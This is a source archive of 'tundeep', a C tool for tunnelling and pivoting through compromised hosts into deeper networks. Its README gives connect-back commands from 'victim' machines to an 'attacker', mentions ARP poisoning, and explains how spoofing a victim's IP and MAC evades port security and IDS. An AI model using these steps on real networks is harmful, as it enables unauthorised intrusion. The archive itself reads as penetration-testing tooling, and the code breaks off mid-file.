pax_global_header00006660000000000000000000000064135210206370014511gustar00rootroot0000000000000052 comment=f95b9706e36282a7ec8e4eaa512548d1804778ed tundeep-master/000077500000000000000000000000001352102063700140125ustar00rootroot00000000000000tundeep-master/Makefile000066400000000000000000000013061352102063700154520ustar00rootroot00000000000000#Makefile for tundeep #To disable Linux specific features i.e. tun/tap (not recommended), remove '-D_LINUX' #To disable zlib compression support, remote '-D_COMPRESS -lz' CC=gcc MY_MACH := $(shell gcc -dumpmachine) ifneq (, $(findstring cygwin, $(MY_MACH))) MY_OS := Cygwin else MY_OS := Linux endif ifeq ($(MY_OS), Cygwin) #Cygwin CFLAGS=-s -I -O3 -Wall -W -D_COMPRESS -lz -lpthread -lwpcap else #Linux CFLAGS=-s -I -O3 -Wall -W -D_LINUX -D_COMPRESS -lz -lpthread -lpcap endif tundeep: main.o pcap.o threads.o recv.o misc.o sock.o tap.o @echo "Building for: $(MY_OS) ($(MY_MACH))" $(CC) -o tundeep main.o pcap.o threads.o recv.o misc.o sock.o tap.o $(CFLAGS) clean: rm -f *.o tundeep tundeep.exe tundeep-master/README.md000066400000000000000000000175621352102063700153040ustar00rootroot00000000000000# TUNDEEP ## Adam Palmer This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . * __Name__: tundeep v1.1 * __Author__: [Adam Palmer (npn)](https://www.adampalmer.me/) (adam@adampalmer.me) * __README__: https://www.adampalmer.me/iodigitalsec/tundeep/ > Source: http://www.cis.syr.edu/~wedu/seed/Labs/VPN/files/simpletun.c > Source: Various stackoverflow posts > Source: Libpcap documentation > Source: Beej's Network Guide > Source: http://www.logix.cz/michal/devel/ (getaddrinfo) Please direct questions, comments, criticism and bug reports to adam@adampalmer.me. ### Contents: 1. Purpose 2. Installation 3. Scenario 4. Usage 4a. TCP Mode 4b. UDP Mode 4c. IPv6 Mode 4d. Misc 5. Changelog 6. The future ### 1. Purpose: This is a network tunnelling tool. For pivoting/tunnelling deeper into a target network, we have a couple of options; * Option 1 - Metasploit's `autoroute` module. Disadvantages: Works great, but only works from within metasploit. No use for running external tools. * Option 2 - Metasploit's portfwd module/iptables/simpleproxy. Disadvantages: Only forwards specified single layer 3 UDP/TCP ports. * Option 3 - Proxychains/ssh `-D SOCKS` tunnelling. Disadvantages: Proxychains is a hack in itself, and only supports layer 3 TCP. * Option 4 - Implement a VPN server and set up bridging on your victim. Disadvantages: disasterous idea This tool presents a `tap0` interface for your target network on your local machine. On the target end, it does not require `drivers/kernel` modules to be installed beyond libpcap. This tool supports ARP and ARP scanning/poisoning on your target network no matter how many layers deep you tunnel. This tool should support any layer 2 ethernet protocol. Code has been borrowed from various sources including those above. As we have a tap interface now bound to the remote network, we are able to run any tools that we wish, as if we were directly connected to the target network. ### 2. Installation: `-D_LINUX` adds tun/tap support in the makefile, `-D_COMPRESS` adds zlib compression support Tested on Debian Squeeze 32bit and 64bit, and Windows XP Pro. This tool requires `libpcap`/`winpcap` On Windows, you'll need `Cygwin` and all the relevant tools such as `libc`, `make`, `gcc`. On Windows: * [Untested] Guide to winpcap silent install: http://paperlined.org/apps/wireshark/winpcap_silent_install.html * [Tested] libwpcap support in cygwin: http://mathieu.carbou.free.fr/wiki/?title=Winpcap_/_Libpcap To compile and run on Kali: apt-get install zlib1g-dev libpcap-dev git clone https://github.com/iodigitalsec/tundeep cd tundeep make ./tundeep You can change debug levels via the `DEBUG` variable in `def.h` ### 3. Scenario: `[Attacker 192.168.200.40 (eth0)]-----[192.168.200.41(eth0) VICTIM 1 10.0.0.5(eth1)]------[10.0.0.10(eth0) VICTIM2 10.10.10.20(eth1)]--------[10.10.10.21(eth0) VICTIM3]` This tool will bring up a `tap0` interface on the attacking machine, tunnelled via packet injection on the remote end to the target network. We have two main strategies. Looking at the scenario above, our first step is to pivot onto the `10.0.0.5` interface of Victim 1. We have two options: 1. Match Victim1's eth1 IP and MAC exactly on our own `tap0` interface specifying `-x`, `-y` and `-u` on the attacking machine. This is the least detectable as it does not bring up any new IP or MAC addresses on the target network and we can evade port security. It may however interfere with legitimate traffic on Victim 1. 2. The second option is to assign our own IP and/or MAC to be tunnelled through. This is going to be more reliable, but less stealthy and may trigger IDS/switch/port security alerts. The next consideration is that all traffic that Victim1 receives on eth1 is tunnelled back to us. This will create network congestion at minimum, and service unavailability or worse. It's not advisable to run this on a heavy traffic production environment. Also consider where you run this tool from. Running this where the connection between attacker and victim1's `eth0` is slower than victim1's eth1 and it's peers is a bad idea. The final option if this is really a problem, is using the bpf. I can think of two useful cases for the bpf: 1. Specify a new IP to bring up on the target network via `-x`/`-y` and on both sides use `-b "host $ip"`. 2. Retain the Victim's IP, and use `"tcp port $port"` on both sides to specify a particular port you wish to tunnel through. ### 4. Usage: #### 4a. TCP Mode: On our attacking machine - 1. tundeep -s -t tap0 -h 0.0.0.0 -p 5000 -x 10.0.0.5 -y 255.255.255.0 -u 00:0c:29:c6:44:02 Here we will bring up a tap0 interface on our machine with the same MAC (-u) and IP/Mask (-x/-y) as the network we want to pivot to (Victim1's eth1). On our victim 1: `tundeep -i eth1 -h 192.168.200.40 -p 5000 -c` Connect back to our attacker on port 5000. We can now `ping 10.0.0.10`, i.e. victim2 directly from our machine. TCP/UDP/ICMP and ARP have all been tested. 2. Now to tunnel deeper. On our attacking machine: tundeep -s -t tap1 -h 0.0.0.0 -p 5001 -x 10.10.10.20 -y 255.255.255.0 -u 00:0c:29:df:f0:ac Here we will bring up a tap1 interface on our attacking machine, with the same MAC/IP as Victim 2's eth1 On our victim 2: `tundeep -i eth1 -h 10.0.0.5 -p 5001 -c` Now we can `ping 10.10.10.21`, i.e. victim 3. We can continue tunnelling as deep as we need. #### 4b. UDP Mode: There's no client and server side. Each side needs it's endpoint specified via -e and it's listen IP via `-h`. To use the scenarios above. On our side: 1. tundeep -d -e 192.168.200.41 -t tap0 -h 0.0.0.0 -p 5000 -x 10.0.0.5 -y 255.255.255.0 -u 00:0c:29:c6:44:02 and on the victim: tundeep -d -e 192.168.200.40 -i eth1 -h 0.0.0.0 -p 5000 2. tundeep -d -e 10.0.0.10 -t tap1 -h 0.0.0.0 -p 5001 -x 10.10.10.20 -y 255.255.255.0 -u 00:0c:29:df:f0:ac and on the victim: tundeep -d -e 10.0.0.5 -i eth1 -h 192.168.200.40 -p 5001 #### 4c. IPv6 Mode: There are two methods to utilize IPv6. The sniffing and injection portion works at layer 2 and is therefore IP version independant. Specifying -T on the tap node specifies IPv6 address usage. In that case -x specifies the IPv6 IP and -y specifies the prefix length. i.e. `./tundeep -T tap0 -h 0.0.0.0 -p 5000 -s -x fe80::80aa:2aff:fe0b:383f -y 64` Using this option, we can tunnel IPv6 over an existing IPv4 socket/network. The next option is in tunneling IPv4 over an existing IPv6 network, `-6` option puts the socket into IPv6 mode: `./tundeep -T tap0 -h "::0" -p 5000 -s -x 192.168.5.5 -y 255.255.255.0` Of course, -T and -6 can be used together for full IPv6. #### 4d. Misc: ### 5. Changelog: tundeep v0.1a (2013-09-10): - Initial Release tundeep v0.2a (2013-09-16): - IPv6 support (-6, -T) - Compression support (-C) - must be enabled on both sides - Better error checking and debugging - Misc bug fixes and code improvements - Makefile improvements to detect Cygwin/Linux without manual edits - README updates - Added default checksum feature (-K disables) - added overhead, improved reliability. Must be disabled on both sides ### 6. The Future: Future release plans: - Code cleanup - MAC/IP mangling support tundeep-master/def.h000066400000000000000000000063231352102063700147250ustar00rootroot00000000000000/* This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef _LINUX #include #include #include #endif #ifdef _COMPRESS #include #endif #include #include #include #include #ifndef TUNDEEP_DEFINES #define TUNDEEP_DEFINES #define VER "1.0_20170728" #define PCAP_TIMEOUT 10 //Decrease for better performance/high CPU usage. 10 is reasonable #define MAX_PCAP_SIZ 65536 #define DEBUG_LEVEL 1 //max 6 #define IFACE 0 #define TUN 1 #define PREAMBLE "\xff\x00\x41\x46\xfe\x01\xfd\xf0" #define ifreq_offsetof(x) offsetof(struct ifreq, x) void debug(int i, int quit, char *fmt, ...); int recvdata(int s); int recvdata_c(int s); void *thread_func(void *arg); //inline u_short in_cksum(u_short *addr, int len); void pktrecv(u_char *arg, const struct pcap_pkthdr* pkthdr, const u_char* packet); void usage(); int tun_connect(char *hostname, int port); void injection_process(int len, const u_char *packet); int tun_alloc(char *dev, int flags); int confif(const char *ifname, const char *ip, const char *netmask); int confif6(const char *ifname, const char *ip, const char *netmask); char *atom(const char *mac); char *mtoa(u_char *mac); int check_ip(struct in_addr, const char *ip2); char *atoip(const char *ip); char *iptoa(u_char *ip); void read_loop(); void send_received_packet(char *s, int len); int cread(int fd, char *buf, int n); int cwrite(int fd, char *buf, int n); int read_n(int fd, char *buf, int n); int lookup_host (const char *host, struct sockaddr_in *r); int lookup_host6 (const char *host, struct sockaddr_in6 *r); #ifdef _COMPRESS unsigned int _tap_uncompress(char **dst, unsigned int ucompSize, char *comp, unsigned int compSize); unsigned int _tap_compress(char **dst, const char *src, unsigned int len); #endif extern pcap_t* descr; extern pthread_t tid[2]; extern int sock, connected, bytes_recv; extern struct sockaddr_in local_addr, remote_addr; extern struct sockaddr_in6 local_addr6, remote_addr6; extern socklen_t sin_size; extern unsigned short server_mode; extern char hostname[256]; extern char udpremote[256]; extern int port; extern unsigned short int tunorif; extern int tap_fd; extern char *tap_mac; extern char *bpf; extern short int udpmode; extern short int ipv6; extern short int compmode; extern short int cksum; #endif tundeep-master/main.c000066400000000000000000000206531352102063700151100ustar00rootroot00000000000000/* This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #include "def.h" pcap_t* descr; pthread_t tid[2]; int sock, connected, bytes_recv = 0; struct sockaddr_in local_addr, remote_addr; struct sockaddr_in6 local_addr6, remote_addr6; socklen_t sin_size; unsigned short server_mode = 0; char hostname[256] = {0}; char udpremote[256] = {0}; int port = 0; unsigned short int tunorif = 0; /* [tun==1, if==2] */ char *tap_ip, *tap_mac, *tap_mask = NULL; char *bpf = NULL; short int udpmode = 0; short int ipv6 = 0; short int tap6 = 0; short int cksum = 1; short int compmode = 0; void usage() { fprintf(stderr, "Option -%c error.\n", optopt); fprintf(stderr, "*** tundeep v%s by Adam Palmer ***\n", VER); #ifdef _LINUX fprintf(stderr, "Usage: tundeep <-i iface|[-t|-T] tapiface> <-h ip> <-p port> [-6] [-C] <-c|-s> "); fprintf(stderr, "[-x tapip] [-y tapmask] [-u tapmac] [-b bpf] [-d udp mode] [-e udp remote] [-K]\n\n"); #else fprintf(stderr, "Usage: tundeep [-a] <-i iface> <-h ip> <-p port> [-6] [-C] <-c|-s> "); fprintf(stderr, "[-b bpf] [-d udp mode] [-e udp remote] [-K]\n\n"); #endif fprintf(stderr, "-6 IPv6 mode\n"); fprintf(stderr, "-C compress mode\n"); fprintf(stderr, "-K disable checksum\n"); fprintf(stderr, "-a print all pcap devs\n"); fprintf(stderr, "-b \"bpf\"\n"); fprintf(stderr, "-i interface to bind to\n"); fprintf(stderr, "-h IP to bind to/connect to\n"); fprintf(stderr, "-p port to bind to/connect to\n"); fprintf(stderr, "-c client mode\n"); fprintf(stderr, "-s server mode\n"); fprintf(stderr, "-d udp mode\n"); fprintf(stderr, "-e udp peer\n"); #ifdef _LINUX fprintf(stderr, "-t tap interface \n"); fprintf(stderr, "-T ipv6 tap interface \n"); fprintf(stderr, "-u tap mac \n"); fprintf(stderr, "-x if -t mode, set iface ip, if -T mode, set iface ipv6 ip\n"); fprintf(stderr, "-y if -t mode, set iface mask, if -T mode, set iface ipv6 prefixlen\n"); #endif fprintf(stderr, "--------------------\n\n"); } int main(int argc,char **argv) { int c = 0; char iface[128] = {0}; int actr = 0; char a[34]; int i = 0, inum = 0; pcap_if_t *alldevsp, *device; char errbuf[PCAP_ERRBUF_SIZE]; #ifdef _LINUX while ( ((c = getopt(argc, argv, "6CKe:dai:T:t:u:h:p:csb:x:y:")) != -1) && (actr < 32) ) #else while ( ((c = getopt(argc, argv, "6CKe:dab:i:h:p:cs")) != -1) && (actr < 32) ) #endif { a[actr] = c; actr++; switch(c) { case 'C': compmode = 1; break; case 'K': cksum = 0; break; case '6': ipv6 = 1; break; case 'b': bpf = malloc(strlen(optarg)+1); strncpy(bpf, optarg, strlen(optarg)); break; case 'a': //interface fprintf(stderr, "Printing device list:\n"); fprintf(stderr, "---------------------\n"); if (pcap_findalldevs(&alldevsp, errbuf)) { debug(1, 1, "Error finding devices (%s)", errbuf); } for (device = alldevsp; device != NULL; device = device->next) { fprintf(stderr, "%d. %s", ++i, device->name); if (device->description) { fprintf(stderr, " (%s)\n", device->description); } else { fprintf(stderr, " (No description available)\n"); } } fprintf(stderr, "---------------------\n"); debug(1, 0, "Device list finished printing"); printf("Enter the interface number (1-%d): ", i); if (scanf("%d", &inum)) { /* ssshh compiler */ } if (inum < 1 || inum > i) { fprintf(stderr, "\nInterface out of range\n"); pcap_freealldevs(alldevsp); exit(0); } for (device=alldevsp, i=0; i < inum-1; device = device->next, i++); strncpy(iface, device->name, 127); tunorif = IFACE; break; case 'i': strncpy(iface, optarg, 127); tunorif = IFACE; break; case 'e': //host to listen on/connect to strncpy(udpremote, optarg, 255); break; case 'h': //host to listen on/connect to strncpy(hostname, optarg, 255); break; case 'p': //port port = atoi(optarg); if (port < 0 || port > 65535) { debug(1, 1, "Invalid port number"); } break; case 'c': //client mode server_mode = 0; break; case 's': //server mode server_mode = 1; break; case 'd': udpmode = 1; break; #ifdef _LINUX case 't': //tap strncpy(iface, optarg, 127); tunorif = TUN; break; case 'T': //tap6 strncpy(iface, optarg, 127); tap6 = 1; tunorif = TUN; break; case 'u': //tap mac tap_mac = malloc(18); strncpy(tap_mac,optarg,17); break; case 'x': //tap ip tap_ip = malloc(128); strncpy(tap_ip, optarg, 127); break; case 'y': //tap mask tap_mask = malloc(128); strncpy(tap_mask, optarg, 127); break; #endif case '?': usage(); debug(2, 1, "Usage error"); break; } } a[actr]='\0'; if ( ((strchr(a, 's') == NULL) && (strchr(a, 'c') == NULL)) && (strchr(a, 'd') == NULL) ) { usage(); debug(2, 1, "Usage: Either -s or -c must be specified"); } if ( (strchr(a, 's') != NULL) && (strchr(a, 'c') != NULL) ) { usage(); debug(2, 1, "Usage: Option -s and -c can not be specified together"); } if ( (strchr(a, 'h') == NULL) || (strchr(a, 'p') == NULL) ) { usage(); debug(2, 1, "Usage: Options -h and -p are mandatory"); } if ( (strchr(a, 'd') != NULL) && (strchr(a, 'e') == NULL) ) { usage(); debug(2, 1, "Usage: -e endpoint must be specified in UDP mode"); } if ( (strchr(a, 'd') != NULL) && ( (strchr(a, 'c') != NULL) || (strchr(a, 's') != NULL) ) ) { usage(); debug(2, 1, "Usage: -c/-s not required in UDP mode"); } if ( (strchr(a, 'a') == NULL) && (strchr(a, 'i') == NULL) && (strchr(a, 't') == NULL) && (strchr(a, 'T') == NULL) ) { usage(); debug(2, 1, "Usage: Option -a, -i, -t or -T must be specified"); } if ( (strchr(a, 'a') != NULL) && (strchr(a, 'i') != NULL) && (strchr(a, 't') != NULL) && (strchr(a, 'T') != NULL) ) { usage(); debug(2, 1, "Usage: Option -a, -i and -t can not be specified together"); } if ( (strchr(a, 't') != NULL) && (strchr(a, 'T') != NULL) ) { usage(); debug(2, 1, "Options -t and -T can not be specified together"); } if ( ( (strchr(a, 'a') != NULL) || (strchr(a, 'i') != NULL) ) && ( (strchr(a, 'u') != NULL) || (strchr(a, 'x') != NULL) || (strchr(a, 'y') != NULL) )) { usage(); debug(2, 1, "Usage: Options -u, -x and -y only work with -t or -T, not -i or -a"); } #ifdef _LINUX if (tunorif == TUN) { //set up the tap device if ((tap_fd = tun_alloc(iface, IFF_TAP | IFF_NO_PI)) < 0) { perror("tun/tap failed"); } if (tap6) { confif6(iface, tap_ip, tap_mask); } else { confif(iface, tap_ip, tap_mask); } if (tap_ip != NULL) { free(tap_ip); } if (tap_mask != NULL) { free(tap_mask); } } #endif /* First we set up PCAP */ struct bpf_program fp;/* hold compiled program */ bpf_u_int32 netp = 0; /* ip */ /* open device for reading in promiscuous mode */ descr = pcap_open_live(iface, MAX_PCAP_SIZ, 1,PCAP_TIMEOUT, errbuf); if(descr == NULL) { printf("pcap_open_live(): %s\n", errbuf); debug(2, 1, "pcap_open_live"); } if (bpf == NULL) { bpf = malloc(1); memcpy(bpf, "\0", 1); } /* Now we'll compile the filter expression*/ if(pcap_compile(descr, &fp,bpf, 0, netp) == -1) { //no search fprintf(stderr, "Error calling pcap_compile\n"); debug(2, 1, "pcap_compile"); } free(bpf); /* set the filter */ if(pcap_setfilter(descr, &fp) == -1) { fprintf(stderr, "Error setting filter\n"); debug(2, 1, "pcap filter"); } /* Now we set up the socket */ if (!tun_connect(hostname, port)) { debug (1, 1, "tun_connect failed"); } /* Now launch the threads */ if (pthread_create(&(tid[0]), NULL, &thread_func, "") != 0) //read from br0 and write to socket { debug (1, 1, "Thread creation failed"); } if (pthread_create(&(tid[1]), NULL, &thread_func, "") != 0) //read from socket and write to br0 { debug (1, 1, "Thread creation failed"); } for (;;) sleep(10); //don't terminate return 0; } tundeep-master/misc.c000066400000000000000000000060601352102063700151130ustar00rootroot00000000000000/* This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #include "def.h" #ifdef _COMPRESS unsigned int _tap_uncompress(char **dst, unsigned int ucompSize, char *comp, unsigned int compSize) { //unsigned int nLength; //memcpy((char *)&nLength, comp, 4); *dst = malloc(ucompSize); //uncompress((Bytef *)*dst, (uLong *)&ucompSize, (Bytef *)comp+4, (uLong)ntohs(nLength)); uncompress((Bytef *)*dst, (uLong *)&ucompSize, (Bytef *)comp, compSize); return ucompSize; } unsigned int _tap_compress(char **dst, const char *src, unsigned int len) { uint32_t compSize = compressBound(len); uint32_t nLength = 0; *dst = malloc(compSize+sizeof(uint32_t)); compress((Bytef *)*dst+(sizeof(uint32_t)), (uLong *)&compSize, (Bytef *)src, (uLong)len); nLength = htonl(compSize); memcpy(*dst, (char *)&nLength, sizeof(uint32_t)); return compSize+sizeof(uint32_t); } #endif void debug(int i, int quit, char *fmt, ...) { if (DEBUG_LEVEL >= i) { char *myfmt = malloc(strlen(fmt)+32); va_list argptr; va_start(argptr, fmt); sprintf(myfmt, "DEBUG(%d): ", i); strcat(myfmt, fmt); strcat(myfmt, "\n"); vfprintf(stderr, myfmt, argptr); va_end(argptr); free(myfmt); } if (quit) { exit(1); } } char *atoip(const char *ip) { char *fip = malloc(4); unsigned int im[4]; sscanf(ip, "%x%x%x%x", &im[0], &im[1], &im[2], &im[3]); memcpy(fip, im, 4); return fip; } char *iptoa(u_char *ip) { char *oip = malloc(16); sprintf(oip, "%d.%d.%d.%d", ip[0], ip[1], ip[2], ip[3]); return oip; } char *atom(const char *mac) { //convert ascii mac to 6 byte mac unsigned int im[6] = {0}; unsigned char m[6] = {0}; short int ctr = 0; char *r = malloc(12); sscanf(mac, "%x:%x:%x:%x:%x:%x", &im[0], &im[1], &im[2], &im[3], &im[4], &im[5]); for (ctr = 0; ctr < 6; ctr++) { m[ctr] = (unsigned char)im[ctr]; } memcpy(r, m, 6); return r; } char *mtoa(u_char *mac) { //convert 6 byte mac to ascii mac unsigned char m[6]; char *im = malloc(24); memcpy(m, mac, 6); sprintf(im, "%-.2X:%-.2X:%-.2X:%-.2X:%-.2X:%-.2X", m[0], m[1], m[2], m[3], m[4], m[5]); return im; } int check_ip(struct in_addr ip1, const char *ip2) { unsigned int ipbytes[4]; unsigned int ipbytes2[4]; unsigned short int c; char *in_ip; in_ip = inet_ntoa(ip1); sscanf(in_ip, "%d.%d.%d.%d", &ipbytes[3], &ipbytes[2], &ipbytes[1], &ipbytes[0]); sscanf(ip2, "%d.%d.%d.%d", &ipbytes2[3], &ipbytes2[2], &ipbytes2[1], &ipbytes2[0]); for (c = 0; c < 4; c++) { if (ipbytes[c] != ipbytes2[c]) { return 0; } } return 1; } tundeep-master/pcap.c000066400000000000000000000056401352102063700151060ustar00rootroot00000000000000/* This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #include "def.h" void send_received_packet(char *s, int plen) { /* here we have an inbound packet from pcap or tap that we're about to send over the sock */ int nwrite; uint32_t l; l = htonl(plen); #ifdef _COMPRESS char *tmpbuf; char *compbuf; unsigned int complen; #endif if (!server_mode) { connected = sock; } if ( ((server_mode && connected) || (!server_mode)) || (udpmode) ) { if (cksum) { nwrite = cwrite(connected, PREAMBLE, sizeof(PREAMBLE)-1); debug(6, 0, "Wrote %d byte preamble", nwrite); } #ifdef _COMPRESS if (!compmode) { #endif nwrite = cwrite(connected, (char *)&l, sizeof(l)); nwrite = cwrite(connected, s, plen); debug(4, 0, "sending packet of %d (%d) bytes", plen, nwrite); #ifdef _COMPRESS } else { //sending compressed packet tmpbuf = malloc(plen+sizeof(uint32_t)); memcpy(tmpbuf, (char *)&l, sizeof(uint32_t)); memcpy(tmpbuf+(sizeof(l)), s, plen); complen = _tap_compress(&compbuf, tmpbuf, plen+sizeof(l)); l = htonl(complen); nwrite = cwrite(connected, (char *)&l, sizeof(l)); nwrite = cwrite(connected, compbuf+(sizeof(l)), complen); debug(4, 0, "sending compressed packet was %d now %d (%d)", plen, complen, nwrite); free(compbuf); free(tmpbuf); } #endif } else { debug(2, 0, "send_received_packet: No connected socket"); } } #ifdef _LINUX void read_loop() { unsigned int nread; char *buffer = NULL; while (1) { buffer = malloc(MAX_PCAP_SIZ+1); nread = cread(tap_fd, buffer, MAX_PCAP_SIZ); debug(6, 0, "Read %d bytes from tapdev", nread); send_received_packet(buffer, nread); free(buffer); } } #endif void pktrecv(u_char *arg, const struct pcap_pkthdr *pkthdr, const u_char *packet) { if (arg == NULL) { /* silence compiler warning */ } send_received_packet((char *)packet, pkthdr->len); } void injection_process(int len, const u_char *packet) { debug(5, 0, "Inject Handler Called"); switch(tunorif) { case IFACE: if (pcap_sendpacket(descr, packet, len)==-1) { debug(1, 0, "error: pcap_sendpacket (%d), -1", len); } else { debug(5, 0, "packet sent"); } break; #ifdef _LINUX case TUN: if (!write(tap_fd, (char *)packet, len)) { debug(3, 0, "tap_write error"); } break; #endif } } tundeep-master/recv.c000066400000000000000000000057121352102063700151220ustar00rootroot00000000000000/* This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #include "def.h" #ifdef _COMPRESS char *rdata(int fd, int len) { int nread; char *retbuf = malloc(len); if (udpmode) { nread = recvfrom(fd, retbuf, len, 0, NULL, NULL); } else { nread = read_n(fd, retbuf, len); } if (nread == 0) { debug(1, 1, "nread == 0"); } return retbuf; } int findcksum(int fd) { unsigned int ctr = 0; int fullmatch = 0; char *c; int iter = 0; while (!fullmatch) { c = rdata(fd, sizeof(PREAMBLE)-1); fullmatch = 1; while (ctr < (sizeof(PREAMBLE)-1)) { if (c[ctr] != PREAMBLE[ctr]) { fullmatch = 0; } ctr++; } if (fullmatch == 1) { debug(5, 0, "Preamble matched at iteration %d", iter); iter = 0; } else { debug(5, 0, "Preamble failed at iteration %d", iter); iter++; ctr = 0; } free(c); } return fd; } int recvdata_c(int s) { //unsigned int _tap_uncompress(char **dst, unsigned int ucompSize, char *comp); char *tmp_pkt = NULL; char *recv_pkt = NULL; uint32_t plength = 0, p = 0; uint32_t clength = 0, c = 0; if (cksum) { findcksum(s); } recv_pkt = rdata(s, sizeof(clength)); memcpy((char *)&clength, recv_pkt, sizeof(clength)); c = ntohl(clength); free(recv_pkt); debug(4, 0, "compressed recvdata() packet of %d size", c); if ( (c < 1) || (c > MAX_PCAP_SIZ) ) { debug(5, 0, "Broken size. Frame lost"); //bad len //drop } else { tmp_pkt = rdata(s, c); //tmp_pkt now contains compressed data _tap_uncompress(&recv_pkt, MAX_PCAP_SIZ-1, tmp_pkt, c); memcpy((char *)&plength, recv_pkt, sizeof(uint32_t)); p = ntohl(plength); if ( (p < 1) || (p > MAX_PCAP_SIZ) ) { debug(5, 0, "Broken size. Frame lost"); //bad len //drop } else { injection_process(p, (const u_char *)recv_pkt+sizeof(uint32_t)); } free(recv_pkt); free(tmp_pkt); } return 0; } #endif int recvdata(int s) { char *recv_pkt = NULL; uint32_t plength = 0, p = 0; if (cksum) { findcksum(s); } recv_pkt = rdata(s, sizeof(plength)); memcpy((char *)&plength, recv_pkt, sizeof(plength)); free(recv_pkt); p = ntohl(plength); debug(4, 0, "recvdata() packet of %d size", p); if ( (p < 1) || (p > MAX_PCAP_SIZ) ) { debug(5, 0, "Broken size. Frame lost"); //something's gone wrong //ignore the packet } else { recv_pkt = rdata(s, p); injection_process(p, (const u_char *)recv_pkt); free(recv_pkt); } return 0; } tundeep-master/sock.c000066400000000000000000000130311352102063700151130ustar00rootroot00000000000000/* This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #include "def.h" int cread(int fd, char *buf, int n) { int nread; if((nread=read(fd, buf, n))<0){ debug(1, 1, "Error reading cread data"); } return nread; } int cwrite(int fd, char *buf, int n) { int nwrite = 0; if (udpmode) { if (ipv6) { if ((nwrite=sendto(fd, buf, n, 0, (struct sockaddr *)&remote_addr6, sizeof(remote_addr6)))<0) { perror("sendto"); debug(1, 1, "Error writing cwrite data"); } } else { if ((nwrite=sendto(fd, buf, n, 0, (struct sockaddr *)&remote_addr, sizeof(remote_addr)))<0) { perror("sendto"); debug(1, 1, "Error writing cwrite data"); } } } else { if((nwrite=write(fd, buf, n))<0) { perror("write"); debug(1, 1, "Error writing cwrite data"); } } return nwrite; } int read_n(int fd, char *buf, int n) { int nread, left = n; while(left > 0) { if ((nread = cread(fd, buf, left))==0) { return 0; } else { left -= nread; buf += nread; } } return n; } int tun_connect(char *hostname, int port) { int optval = 1; int af = AF_INET; int s = SOCK_STREAM; if (udpmode) s = SOCK_DGRAM; if (ipv6) af = AF_INET6; sock = socket(af, s, 0); //local_addr will be the local end //remote_addr will be the remote end if (!ipv6) { memset(&remote_addr, 0, sizeof(remote_addr)); remote_addr.sin_port = htons(port); remote_addr.sin_family = AF_INET; memset(&local_addr, 0, sizeof(local_addr)); local_addr.sin_port = htons(port); local_addr.sin_family = AF_INET; } else { memset(&remote_addr6, 0, sizeof(remote_addr6)); remote_addr6.sin6_port = htons(port); remote_addr6.sin6_family = AF_INET6; memset(&local_addr6, 0, sizeof(local_addr6)); local_addr6.sin6_port = htons(port); local_addr6.sin6_family = AF_INET6; } if (!ipv6) { if (!udpmode && server_mode) { if (!lookup_host (hostname, &local_addr)) { debug(1, 1, "Host lookup failed"); } } else if (!udpmode && !server_mode) { if (!lookup_host (hostname, &remote_addr)) { debug(1, 1, "Host lookup failed"); } } else if (udpmode) { if (!lookup_host (hostname, &local_addr)) { debug(1, 1, "Host lookup failed"); } if (!lookup_host (udpremote, &remote_addr)) { debug(1, 1, "Host lookup failed"); } } } else { if (!udpmode && server_mode) { if (!lookup_host6 (hostname, &local_addr6)) { debug(1, 1, "Host lookup failed"); } } else if (!udpmode && !server_mode) { if (!lookup_host6 (hostname, &remote_addr6)) { debug(1, 1, "Host lookup failed"); } } else if (udpmode) { if (!lookup_host6 (hostname, &local_addr6)) { debug(1, 1, "Host lookup failed"); } if (!lookup_host6 (udpremote, &remote_addr6)) { debug(1, 1, "Host lookup failed"); } } } if (server_mode) { //if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&optval, sizeof(optval)) < 0) //{ // debug(1, 1, "setsockopt() failed"); //} if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char *)&optval, sizeof(optval)) < 0) { debug(1, 1, "setsockopt() failed"); } if (!ipv6) { if (bind(sock, (struct sockaddr*) &local_addr, sizeof(local_addr)) < 0) { debug(1, 1, "bind() 